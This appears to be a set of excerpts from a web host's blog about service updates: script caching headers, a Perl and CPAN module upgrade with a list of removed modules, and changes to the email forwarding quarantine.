We do strongly recommend the generation of caching headers in your PHP scripts where appropriate. Integration with our network edge can make an enormous difference in the performance of your site. (The edge servers exist because they are fast, fast, fast at serving static content.) This is critically important for our members with large, high-traffic sites and anyone who is willing to tinker to get the most out of their site.

As with any new and bigger gun, this change does provide an additional opportunity for people to shoot themselves in the foot. If you have manually added an ExpiresDefault setting in your .htaccess file, that setting now applies to scripts. (Well, it always has, but it was previously ignored by us, if not the browser at the far end.) If you use this setting and you haven’t overridden it and your site depends on GET requests that have side effects (which is forbidden by the HTTP standard), undesirable behavior may result.

This change tested very well, but if we find any particularly common problems cropping up related to it, we will post a followup blog entry about how to deal with them.

First, we have upgraded the ssh environment to more powerful hardware in order to allow for continued growth and to make sure scheduled tasks (still coming soon) will have enough resources to run without driving anybody’s site into the ground.

Second, we have updated Perl in the CGI/ssh environment from 5.8.8 to 5.8.9. Despite being a minor-version upgrade, this required the rebuild of nearly 1,000 CPAN modules and dozens of supporting libraries. Thus, we wanted to let people know to be on the lookout for resulting weirdness or incompatibilities. A few CPAN modules bought the farm on this upgrade, and we’ll list those below.

Two modules have been permanently removed. The first is Apache::Test, which can’t build because Apache isn’t actually present in the CGI environment. The second is Weather::Google. It seems the API used by Weather::Google is intended for desktop “widget” use and they don’t really want it used from other sites; they’ve blocked our entire network from using it. (This is speculation on our part, as there is little public information other than that this is an “unofficial” API for widgets to use, and so far we haven’t gotten a definitive response to our inquiries about it.)

Four other modules have been temporarily removed because they’re too badly broken to function in their current incarnation. They are:

• Catalyst::Engine::Test (fails its own tests)
• LWP::Parallel (appears to be badly out of date compared to LWP)
• Template::Alloy::XS (also appears out of date or obsolete)
• WWW::HostipInfo (fails its own tests, looks really broken)

We’ll keep all four of these modules on our list. If they start working in the future with new releases, they’ll reappear.

if you have any problems arising from either upgrade, please let us know via a Secure Support Request.

We did use that situation as an opportunity to make some big improvements to the quarantine feature that make dealing with bounce messages more palatable, including changing the “forward” option to just re-send the original message (where possible, since sometimes bounce messages from other servers don’t include the whole message) once the problem is fixed.

The quarantine is now also paginated, so you can see the whole thing if you have more than one page of quarantined messages. It also has an option to decode properly-formatted bounce messages, so you don’t have to stare at a list of 30 identical MAILER-DAEMON “Returned Mail” messages trying to figure out which is which. That option is resource-intensive, though, so it cuts the number of messages displayed from 50 to 10 to keep page load times down.

With these changes, the quarantine is starting to look and feel a little like a rudimentary webmail client. I want to remind everyone that, although it’s essentially now possible (if not pleasant) to read quarantined mail as if it were a mailbox, that’s not what it’s for. It is a temporary, volatile holding tank for messages that can’t or shouldn’t be forwarded and can’t or shouldn’t be returned. Our policy is to provide at least 10 megabytes per domain for quarantine. Currently, once a domain’s quarantine exceeds 12 megabytes, the system will expire out messages until it drops under 10. 10 megabytes can go faster than you think if something with a large attachment winds up in there, so don’t treat the quarantine like permanent storage.

The other glitch pertains to a handful of people who were participating in an email hosting trial we offered earlier this year using a reseller relationship that no longer exists. They were left in the lurch by this change, but we’ve contacted those people privately, and we’ll continue to do our best to help each of them make alternate arrangements.

Those two issues aside, I am very happy with the way this change managed, and super proud of our new system. Almost proud enough to make a foray of our own into email hosting. Almost. Maybe next year.

Since we felt we finally had the service we wanted to provide, we restarted the billing for email forwarding last night. Anyone using third-party DNS need not worry, we’ve pointed all our MX server names at the new email cluster.

We’ll be updating all of our documentation in the coming weeks to reflect the changes. In the future, we may offer the ability to search the quarantine; the new servers are so much faster than the old ones that such an option is now viable, where it wasn’t before.

But first we’ve got some other things to take care of, like the cron support we’re committed to releasing by the end of the year.